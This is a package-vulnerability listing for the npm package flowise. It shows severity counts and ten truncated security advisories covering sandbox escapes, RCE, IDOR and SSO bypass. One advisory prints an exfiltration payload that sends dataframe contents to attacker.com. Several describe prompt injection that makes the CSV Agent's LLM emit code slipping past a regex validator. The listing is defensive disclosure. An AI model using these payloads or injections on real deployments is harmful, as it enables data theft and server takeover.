flowise

Ecosystem: npm

Downloads: 24.8 K

Vulnerabilities from the last (months)
  • 37CriticalAffects 37 versions
  • 63HighAffects 63 versions
  • 0MediumAffects 0 versions
  • 24ModerateAffects 24 versions
  • 0LowAffects 0 versions
Severity distribution (all time)
124vulnerabilities
  • Critical37 (29.8%)
  • High63 (50.8%)
  • Medium0 (0.0%)
  • Moderate24 (19.4%)
  • Low0 (0.0%)

Monthly breakdown

  • Critical
  • High
  • Medium
  • Moderate
  • Low
  • 2 vulnerabilities
    • Critical: 2
    • High: 0
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 1 vulnerabilities
    • Critical: 1
    • High: 0
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 27 vulnerabilities
    • Critical: 11
    • High: 13
    • Medium: 0
    • Moderate: 3
    • Low: 0
  • 5 vulnerabilities
    • Critical: 4
    • High: 0
    • Medium: 0
    • Moderate: 1
    • Low: 0
  • 19 vulnerabilities
    • Critical: 1
    • High: 14
    • Medium: 0
    • Moderate: 4
    • Low: 0
  • 26 vulnerabilities
    • Critical: 4
    • High: 15
    • Medium: 0
    • Moderate: 7
    • Low: 0
  • 8 vulnerabilities
    • Critical: 0
    • High: 6
    • Medium: 0
    • Moderate: 2
    • Low: 0
  • 1 vulnerabilities
    • Critical: 0
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 11 vulnerabilities
    • Critical: 4
    • High: 5
    • Medium: 0
    • Moderate: 2
    • Low: 0
  • 7 vulnerabilities
    • Critical: 6
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 2 vulnerabilities
    • Critical: 2
    • High: 0
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 1 vulnerabilities
    • Critical: 0
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 3 vulnerabilities
    • Critical: 2
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 1 vulnerabilities
    • Critical: 0
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0
  • 1 vulnerabilities
    • Critical: 0
    • High: 0
    • Medium: 0
    • Moderate: 1
    • Low: 0
  • 8 vulnerabilities
    • Critical: 0
    • High: 4
    • Medium: 0
    • Moderate: 4
    • Low: 0
  • 1 vulnerabilities
    • Critical: 0
    • High: 1
    • Medium: 0
    • Moderate: 0
    • Low: 0

Vulnerabilities (124)

Known vulnerabilities affecting flowise, based on data from OSV.

Vulnerabilities affecting flowise
IDSeveritySummaryAffected versionsPublishedSource
GHSA-9gvv-qjj3-2p6gCriticalFlowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via ChromiumFlowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's `file://` URL handli
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-w7x8-q2gp-5cggCriticalFlowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check y
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-mgrx-3hqw-485hCriticalDuplicate Advisory: INVITED users auto-promoted via SSO email match (invite-token bypass)### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-vf3j-89vf-r697. This link is maintained to preserve external references. ### Original Description Flowise through 3.1.4 (Enterprise/platform mode with SSO enabled) contains an authentication bypass in the SSO login path. When an SSO callback arrives with an email matching a user whose status is INVITED, verifyAndLogin (SSOBase.ts:80-94) copies the user record from the database — including the server-stored single-use invitation tempToken — into the data passed to AccountService.register(). The register h
  • <= 3.1.4
GitHub (opens in a new tab)
GHSA-6j9g-8fxc-25hqCriticalDuplicate Advisory: Flowise contains an unauthenticated sandbox escape# Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9gvv-qjj3-2p6g. This link is maintained to preserve external references. # Original Description Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox bound
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-2364-jh4q-m9vmModerateFlowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint### Summary An Insecure Direct Object Reference (IDOR) vulnerability exists at the **GET /api/v1/organization/customer-default-source** endpoint. This flaw allows an authenticated attacker to bypass authorization checks and retrieve sensitive payment and profile information of other customers by manipulating the customerId parameter. The exposed data includes email addresses, account balances, currency types, and internal billing configurations. ### Details The application fails to implement proper object-level access control. While the endpoint requires a valid session/token, it does not ver
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-3769-jgqc-cxm7CriticalFlowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode()
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-4j8x-x6v7-w9rqCriticalFlowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCod
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-52fh-8v99-63c2CriticalFlowise: Pyodide validator Unicode homoglyph bypass leads to RCE### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/compo
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-5xvg-pmgg-3mxrCriticalFlowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability-- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage
  • < 3.1.3
GitHub (opens in a new tab)
GHSA-6vh2-wg4h-4vwjHighFlowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API#### Summary The `POST /api/v1/prediction/:id` endpoint — which is unauthenticated (whitelisted in `WHITELIST_URLS`) — accepts an `overrideConfig` object in the request body. This object is unconditionally spread into the internal `flowConfig` and `flowData` objects at two locations in the codebase **without checking** `apiOverrideStatus`. This allows an unauthenticated attacker to inject arbitrary properties into the flow execution context of any public chatflow, enabling session hijacking, cross-session data pollution, chat history manipulation, and injection of attacker-controlled values i
  • < 3.1.3
GitHub (opens in a new tab)
  • GHSA-9gvv-qjj3-2p6gCritical
    Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
    • < 3.1.3

    Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's `file://` URL handli

    CVE: CVE-2026-119978

  • GHSA-w7x8-q2gp-5cggCritical
    Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
    • < 3.1.3

    ## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check y

    CVE: CVE-2026-73487

  • GHSA-mgrx-3hqw-485hCritical
    Duplicate Advisory: INVITED users auto-promoted via SSO email match (invite-token bypass)
    • <= 3.1.4

    ### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-vf3j-89vf-r697. This link is maintained to preserve external references. ### Original Description Flowise through 3.1.4 (Enterprise/platform mode with SSO enabled) contains an authentication bypass in the SSO login path. When an SSO callback arrives with an email matching a user whose status is INVITED, verifyAndLogin (SSOBase.ts:80-94) copies the user record from the database — including the server-stored single-use invitation tempToken — into the data passed to AccountService.register(). The register h

  • GHSA-6j9g-8fxc-25hqCritical
    Duplicate Advisory: Flowise contains an unauthenticated sandbox escape
    • < 3.1.3

    # Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9gvv-qjj3-2p6g. This link is maintained to preserve external references. # Original Description Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox bound

  • GHSA-2364-jh4q-m9vmModerate
    Flowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint
    • < 3.1.3

    ### Summary An Insecure Direct Object Reference (IDOR) vulnerability exists at the **GET /api/v1/organization/customer-default-source** endpoint. This flaw allows an authenticated attacker to bypass authorization checks and retrieve sensitive payment and profile information of other customers by manipulating the customerId parameter. The exposed data includes email addresses, account balances, currency types, and internal billing configurations. ### Details The application fails to implement proper object-level access control. While the endpoint requires a valid session/token, it does not ver

    CVE: CVE-2026-73488

  • GHSA-3769-jgqc-cxm7Critical
    Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
    • < 3.1.3

    ### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode()

    CVE: CVE-2026-69254

  • GHSA-4j8x-x6v7-w9rqCritical
    Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
    • < 3.1.3

    ### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCod

    CVE: CVE-2026-69264

  • GHSA-52fh-8v99-63c2Critical
    Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
    • < 3.1.3

    ### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/compo

    CVE: CVE-2026-70470

  • GHSA-5xvg-pmgg-3mxrCritical
    Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
    • < 3.1.3

    -- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage

    CVE: CVE-2026-70477

  • GHSA-6vh2-wg4h-4vwjHigh
    Flowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API
    • < 3.1.3

    #### Summary The `POST /api/v1/prediction/:id` endpoint — which is unauthenticated (whitelisted in `WHITELIST_URLS`) — accepts an `overrideConfig` object in the request body. This object is unconditionally spread into the internal `flowConfig` and `flowData` objects at two locations in the codebase **without checking** `apiOverrideStatus`. This allows an unauthenticated attacker to inject arbitrary properties into the flow execution context of any public chatflow, enabling session hijacking, cross-session data pollution, chat history manipulation, and injection of attacker-controlled values i

    CVE: CVE-2026-69258

Showing 1-10 of 124 vulnerabilities